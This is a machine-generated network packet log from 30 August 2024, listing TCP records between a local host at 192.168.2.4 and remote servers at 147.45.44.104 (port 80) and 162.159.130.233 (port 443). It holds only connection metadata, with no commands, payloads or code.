Aug 30, 2024 06:17:05.907460928 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.907473087 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.907481909 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.907495022 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.907504082 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.907529116 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.907593012 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.907603979 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.907613039 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.907639027 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.907649994 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.908485889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.908504963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.908515930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.908560991 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.908588886 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.908601046 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.908611059 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.908622026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.908637047 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.908649921 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.908658028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.908669949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.908679962 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.908689022 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.908689976 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.908701897 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.908719063 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.908740997 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.908740997 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.908740997 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.908751965 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.908771038 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.908782005 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.908785105 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.908785105 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.908803940 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.908817053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.908828020 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.908832073 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.908838987 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.908849955 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.908854008 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.908858061 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.908878088 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.908878088 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.908910990 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.908910990 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.908945084 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.908957005 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.908966064 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.908993959 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909018040 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909027100 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909035921 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909041882 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909056902 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909074068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909074068 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909085035 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909095049 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909106016 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909116983 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909125090 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909125090 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909132957 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909168005 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909234047 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909245968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909257889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909272909 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909286022 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909296036 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909298897 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909298897 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909307957 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909318924 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909329891 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909332991 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909341097 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909353018 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909363031 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909364939 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909373999 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909383059 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909383059 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909399986 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909410000 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909424067 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909452915 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909475088 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909487009 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909495115 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909497023 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909507990 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909513950 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909518957 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909534931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909543037 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909564018 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909564018 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909589052 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909599066 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909610033 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909620047 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909629107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909640074 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909651041 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909657955 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909662008 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909665108 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909674883 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909683943 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909683943 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909686089 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909696102 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909696102 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909720898 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909728050 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909733057 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909743071 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909744978 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909754038 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909756899 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909770012 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909771919 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909784079 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909795046 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909796953 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909806967 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909813881 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909813881 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909820080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.909841061 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909862995 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.909935951 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.914283037 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.914309025 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.914319992 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.914331913 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.914341927 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.914354086 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.914355040 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.914366007 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.914376020 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.914378881 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.914417982 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.914591074 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.914602041 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.914613008 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.914639950 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.914652109 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.914654016 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.914663076 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.914673090 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.914684057 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.914689064 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.914716959 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.914742947 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.914752007 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.914763927 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.914773941 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.914788008 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.914798021 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.914819002 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.914839029 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.914855957 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.914876938 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.914887905 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.914927006 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.914937973 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.914949894 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.914962053 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.914982080 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.915013075 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.915041924 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915129900 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915142059 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915152073 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915162086 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915172100 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.915172100 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915184021 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915184975 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.915206909 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.915231943 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915234089 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.915242910 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915277004 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.915294886 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915307045 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915318012 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915328979 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915339947 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915344000 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.915380001 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.915402889 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915414095 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915425062 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915435076 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915446997 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.915474892 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.915492058 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915503979 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915513992 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915527105 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915532112 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.915543079 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915549040 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.915555954 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915580034 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.915592909 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915604115 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.915604115 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915616035 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915627956 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915630102 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.915643930 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.915664911 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.915771008 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915782928 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915795088 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915807009 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915813923 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.915817022 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915828943 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915841103 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.915841103 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.915855885 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.915885925 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.951601028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.951611042 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.951620102 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.951709986 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.951709986 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.951801062 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.951813936 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.951822996 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.951833010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.951843023 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.951890945 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.951890945 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.952017069 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.952033997 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.952071905 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.952084064 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.952092886 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.952248096 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.952282906 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.952296972 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.952347040 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.952354908 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.952394962 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.952656984 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.952677965 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.952719927 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.952725887 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.952749968 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.952761889 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.953087091 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.953099966 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.953135967 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.953141928 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.953159094 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.953180075 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.953377962 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.953392029 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.953444004 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.953450918 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.953486919 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.953711987 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.953732014 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.953766108 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.953773022 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.953794003 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.953804970 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.954164982 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.954179049 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.954222918 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.954230070 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.954265118 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.954412937 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.954427004 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.954463005 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.954468012 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.954489946 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.954509020 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.992516041 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.992537975 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.992547035 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.992594004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.992604017 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.992610931 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.992614985 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.992640018 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.992640018 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.992708921 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.992719889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.992728949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.992741108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.992750883 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.992760897 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.992774963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.992777109 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.992777109 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.992784977 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.992795944 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.992799997 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.992799997 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.992806911 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.992831945 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.992851019 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.992923975 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.992935896 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.992945910 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.992957115 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.992968082 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.992971897 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.992979050 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.992990017 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993010044 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.993010044 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.993031025 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.993083954 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993093967 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993103027 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993113995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993124962 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993135929 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.993139982 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.993155956 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.993189096 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.993189096 CEST	49733	80	192.168.2.4	147.45.44.104
